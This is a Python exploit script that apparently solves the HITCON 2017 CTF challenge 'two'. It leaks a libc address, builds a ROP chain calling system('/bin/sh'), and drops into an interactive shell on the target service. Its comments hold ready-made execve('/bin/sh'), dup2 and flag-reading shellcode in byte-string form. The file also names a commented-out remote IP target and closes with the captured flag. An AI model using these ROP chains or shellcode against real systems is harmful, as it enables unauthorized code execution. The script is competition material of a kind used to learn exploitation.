two-hitcon2017

two.py

import sys
sys.path.append("/home/athos/ctf/form")
from customlibpwn import *



import socket
from struct import pack,unpack
from ctypes import c_int32
import telnetlib
import ctypes
import string
import os

#def write_got(system,got_addr,n):
#def virtual_chunk(save_addr,bit=32)
#64bit fmt stack/bit + 6
#open-read-write flag 32bit: hflag[H1\xf6VSH\x89\xe7j\x02X\x0f\x05P_U^jAZH1\xc0\x0f\x05H1\xc0H1\xffH\xff\xc7H\xff\xc0\x0f\x05
#32 system=0x468f0      ; binsh=0x17dbc5 
#64 libc6_2.19-0ubuntu6.9_amd64
#binsh64="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
#binsh="\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
#sys_dup="\x31\xc9\x6a\x04\x5b\x6a\x3f\x58\xcd\x80\xfe\xc1\x80\xf9\x03\x75\xf4"
#######################################################
#                                       DEBUG PEDA
#######################################################
struct="""
"""
f=open("peda-structs","w")
f.write(struct)
f.close()

debug="""
set $rax=0xeeeeeeeeeeeeeeee
set $rbx=0xeeeeeeeeeeeeeeee
set $rcx=0xeeeeeeeeeeeeeeee
set $rdx=0xeeeeeeeeeeeeeeee
set $rsi=0xeeeeeeeeeeeeeeee
set $rdi=0xeeeeeeeeeeeeeeee
set $rbp=0xeeeeeeeeeeeeeeee
set $r8=0xeeeeeeeeeeeeeeee
set $r9=0xeeeeeeeeeeeeeeee
set $r10=0xeeeeeeeeeeeeeeee
set $r11=0xeeeeeeeeeeeeeeee
set $r12=0xeeeeeeeeeeeeeeee
set $r13=0xeeeeeeeeeeeeeeee
set $r14=0xeeeeeeeeeeeeeeee
set $r15=0xeeeeeeeeeeeeeeee
"""
filename=""
f=open("peda-cmd","w")

f.write(debug)
f.close()

def p(m):
        return pack("<I", m)
 
def u(m):
        return unpack("<I", m)[0]
########################################################
#                       PWN! PWN! PWN!
########################################################

def doexploit():
        sock("localhost",4000,64)
        #sock("13.113.242.0",31337,64)


        data =recvu("\n")
        data = int(data,16)

        base = data-0x203f1

        rop = base + 0x117254
        rop = base + 0x35CF0

        read = base+0xF8880 
        print hex(base)
        print hex(rop)
        raw_input(1)
        send("A"*0x12)
        send(p64(rop)+p64(read))
        raw_input(2)
        poprdi=base+0x1fd7a
        system=base+0x456A0
        sh=base+0x18AC40
        send("A"*0x110+p64(poprdi)+p64(sh)+p64(system)+"B"*(0x200-16))
        telnet()

doexploit()
#hitcon{make_one_gadget_great_again!}